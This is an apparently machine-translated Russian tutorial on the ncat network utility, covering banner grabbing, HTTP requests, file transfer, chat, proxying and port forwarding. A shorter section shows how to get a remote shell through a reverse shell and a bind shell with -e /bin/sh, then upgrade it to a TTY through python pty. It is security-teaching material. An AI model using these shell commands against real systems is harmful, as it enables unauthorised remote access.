Практический ncat - команды, использование и приложение в реальном времени

В зависимости от вашего знакомства с операционными системами Unix вы, возможно, слышали о встроенной сетевой утилите netcat, также называемой «Швейцарский армейский нож для сетей TCP / IP».

Netcat используется для установления соединений по сети и может передавать данные по протоколам UDP или TCP. Об этом инструменте и его различных приложениях написаны десятки отличных статей. Однако этот нацелен на то, чтобы пролить свет на современную повторную реализацию, разработанную Nmap Project, ncat!

netcat против ncat против nc

Часто netcat, ncat и nc упоминаются как синонимы, как если бы они были одним и тем же инструментом. Хотя они выполняют аналогичные операции, есть несколько ключевых отличий:

netcat

Netcat - это многофункциональная сетевая утилита, созданная в 1996 году автором Хоббитом. Помимо установления сетевых подключений и передачи данных, netcat имеет широкий спектр возможностей.

За прошедшие годы программа netcat была несколько раз переписана, например, GNU и OpenBSD. Каждая из них направлена ​​на расширение основных функций и добавление дополнительных функций, например, улучшенное туннелирование и / или поддержку IPv6.

ncat

Как было сказано ранее, ncat - это повторная реализация netcat, разработанная Nmap Project. Согласно общедоступному репозиторию инструмента GitHub, ncat был создан для замены разрозненного и практически не обслуживаемого семейства netcat.

В дополнение к современной кодовой базе и блестящим новым функциям, ncat продолжает активно развиваться.

nc

Традиционно nc был просто ссылкой на исходный двоичный файл netcat, установленный в системе. Это отображается с помощью символических ссылок или иначе называется символическими ссылками.

Однако при тестировании этой статьи я обнаружил, что эта ссылка на символическую ссылку может отличаться или быть неосознанно изменена пакетами, установленными пользователем. Например, последняя версия Kali Linux фактически связывает команду nc с более поздним двоичным файлом ncat, когда ncat установлен в системе через apt.

Ключевые аргументы CMD

Ниже приведены лишь несколько аргументов командной строки, которые могут помочь вам улучшить использование ncat:

-p               Specify port
-l               Listen for incoming connections
-k               keep open, allow multiple connections 
-n               Do not resolve host names via DNS            
-v               Verbose output
-c, --sh-exec    runs cmd by passing to a system shell
-e, --exec       runs cmd without shell interpretation
--ssl            Establish connection with SSL
--chat           Start ncat chat server
--allow <IP>     Only allow specified hosts to connect
--deny <IP>      Prevent specific hosts from connecting
--allowfile <file> Only allow hosts from file to connect
--denyfile <file>  Prevent hosts in file from connecting

Сетевые подключения и захват баннеров

В приведенном ниже примере демонстрируется базовое использование ncat при подключении к удаленной службе. Просто добавьте цель IP address и port в аргументы командной строки, чтобы установить соединение.

В зависимости от конфигурации службы может быть возвращен баннер с подробными сведениями о службе, такими как поставщик или текущая версия. Этим можно злоупотреблять во время тестирования безопасности для выявления уязвимостей с помощью таких ресурсов, как exploit-db.com.

» $ ncat 192.168.1.7 21
220 (vsFTPd 2.3.4)

Создание HTTP-запросов

Во-вторых, ncat можно использовать для отправки настраиваемых HTTP (S) запросов на веб-сервер. Это можно использовать при устранении неполадок, для проверки возможности подключения или во время тестирования безопасности для изменения запросов, ищущих аномальные ответы.

» $ ncat --ssl google.com 443
GET / HTTP/1.1
Host: google.com

HTTP/1.1 301 Moved Permanently
Location: https://www.google.com/
Content-Type: text/html; charset=UTF-8
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 220

Передача файлов

Среди множества интересных и полезных функций ncat предоставляет возможность передавать файлы между двумя удаленными системами. Для этого настройте прослушиватель ncat на своем сервере или отправляющем хосте и прочтите содержимое целевого файла как стандартный ввод.

Аргумент --send-only, показанный ниже, указывает, что соединение должно быть закрыто после передачи всех данных клиенту.

(Server) » $ echo 'My awesome file!' > shared_file.txt
(Server) » $ ncat --send-only -lp 80 < shared_file.txt

На клиенте или принимающем хосте просто перенаправьте вывод ncat в файл во время процесса подключения. Аргумент --recv-only затем закроет соединение после завершения передачи.

(Client) » $ ncat --recv-only 127.0.0.1 80 > shared_file.txt
(Client) » $ cat shared_file.txt
My awesome file!

Боитесь, что кто-то перехватит ваши данные по незащищенному каналу?

Как и многие продемонстрированные команды, ncat поддерживает шифрование SSL во время передачи, добавляя аргумент --ssl как клиенту, так и серверу.

Веб сервер

Ниже показано, как ncat используется в качестве веб-сервера для размещения локального index.html. Обратите внимание на переключатель -k в аргументах командной строки - это означает, что сервер должен продолжать прослушивание и принимать несколько клиентских подключений.

» $ ncat -lk -p 80 -c "echo -e 'HTTP/1.1 200 OK\r\n';cat index.html"

Групповой чат с шифрованием SSL

Функции чата Ncat позволяют нескольким пользователям взаимодействовать по сети. Для этого установите стандартный прослушиватель SSL и добавьте аргумент --chat. Затем эта система будет считаться чат-сервером, на котором проводится беседа.

(Server) » $ ncat --ssl -lp 4443 --chat

Последующие клиенты могут подключаться к хосту и взаимодействовать с другими пользователями, используя имя хоста, порт и аргумент --ssl:

(Client 1) » $ ncat 10.0.0.1 4443 --ssl
<announce> 10.0.0.2 is connected as <user5>.
<announce> 10.0.0.3 is connected as <user6>.
Hi Chat!

Как показано, ncat поддерживает несколько пользовательских подключений:

(Client 2) » $ ncat 10.0.0.1 4443 --ssl
<announce> 10.0.0.3 is connected as <user6>.
<user5> Hi Chat!

Удаленное выполнение команд

Ncat упрощает запуск удаленных команд после установления соединения. Это возможно путем стратегического добавления аргумента -e или —-exec, за которым следует команда.

Большая часть официальной документации ncat демонстрирует эту функциональность с помощью таких примеров, как: ncat -l 23 -e "/bin/echo Hello”. Однако это может быть адаптировано для обеспечения полноценной удаленной оболочки в целевой системе.

Обратная оболочка

Первый тип оболочки, продемонстрированный с помощью ncat, называется обратная оболочка. Для этого злоумышленник должен настроить стандартный прослушиватель и дождаться входящего соединения.

(Hacker) » $ ncat -lp 80

Затем клиент или цель снова подключается к злоумышленнику, перенаправляя /bin/sh оболочку. Это предоставит слушающему хосту доступ для выполнения полного выполнения команд.
Примечание: при попытке выполнить это с целевой системы Windows требуется -e cmd.exe.

(Target) » $ ncat 10.0.0.1 80 -e /bin/sh

Обратная оболочка полезна в ситуациях, когда входящий сетевой трафик ограничен или слишком рискованно открывать прослушивающий порт с помощью оболочки привязки - например, во внешней сети.

Привязать оболочку

Как упоминалось ранее, второй метод получения удаленного выполнения команд с помощью ncat - через Bind shell. Это не требует от злоумышленника настройки прослушивателя ncat. Вместо этого эта ответственность ложится на цель по настройке слушателя и предоставлению доступа подключающемуся клиенту.

Как показано ниже, целевая система создает стандартный прослушиватель ncat с аргументом -e для пересылки оболочки /bin/sh.

(Target) » $ ncat -lp 80 -e /bin/sh

Затем злоумышленник подключается к цели и получает все возможности удаленного выполнения команд.

(Hacker) » $ ncat 127.0.0.1 80

Оболочка связывания полезна в ситуациях, когда злоумышленник напрямую связан с целью. Однако будьте осторожны при выполнении этого метода, поскольку он может оставить хост уязвимым и разрешит доступ любому подключающемуся клиенту.

Обновление оболочки ncat (TTY)

Реверсивные и связывающие снаряды с ncat - это простой способ занять первую точку опоры на цели. Однако вы можете обнаружить, что сама оболочка является ограничивающей. Отсутствие контроля над заданиями означает одно случайное нажатие Ctrl + C, и вам придется начинать все сначала. Не говоря уже об отсутствии автозаполнения и ограниченной поддержке команд.

Чтобы помочь решить эти проблемы, могут быть выполнены определенные команды в зависимости от доступных сервисов, чтобы создать полностью интерактивную оболочку TTY. Это предоставит дополнительные возможности и больше функций комфорта, к которым мы привыкли в терминале Unix.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

Предыдущая команда - лишь один из примеров того, как мы можем перейти с /bin/sh на /bin/bash и создать оболочку TTY, используя собственный python3 интерпретатор системы и библиотеку pty.

Ncat через прокси

Ncat можно легко запустить через прокси, добавив аргумент--proxy, за которым следует <proxy-host>:<proxy-port>. Этот метод поддерживает параметры http и socks, а также аутентификацию с аргументом --proxy-auth.

» $ ssh -N -D 9000 root@192.168.1.1
root@192.168.1.1’s password:

В следующем примере демонстрируется захват баннера службы SSH в 192.168.1.25 после маршрутизации трафика через socks4 прокси, созданный ранее:

» $ ncat --proxy localhost:9000 --proxy-type socks4 192.168.1.25 22
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

Перенаправление служебного порта

Последний практический пример - использование ncat для перенаправления портов целевой службы. Этот метод можно использовать при попытке доступа к службам, которые в противном случае недоступны из-за сетевых ограничений.

Переадресация портов с помощью ncat демонстрируется ниже, когда служба SSH по адресу 192.168.1.12:22 становится доступной с нашего локального хоста на порту 222:

» $ ncat -klvp 222 -c "ncat -v 192.168.1.12 22"
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::222
Ncat: Listening on 0.0.0.0:222

Теперь, чтобы подключиться к удаленной службе, инициируйте новое SSH-соединение с перенаправляемым местоположением, как показано ниже:

» $ssh [email protected] -p 222
[email protected]'s password:
root@kali:~$ 

Спасибо за прочтение! Хотите узнать о дополнительных инструментах для информационной безопасности? Хотелось бы услышать темы, которые вас интересуют. Не стесняйтесь общаться в твиттере @ m8r0wn.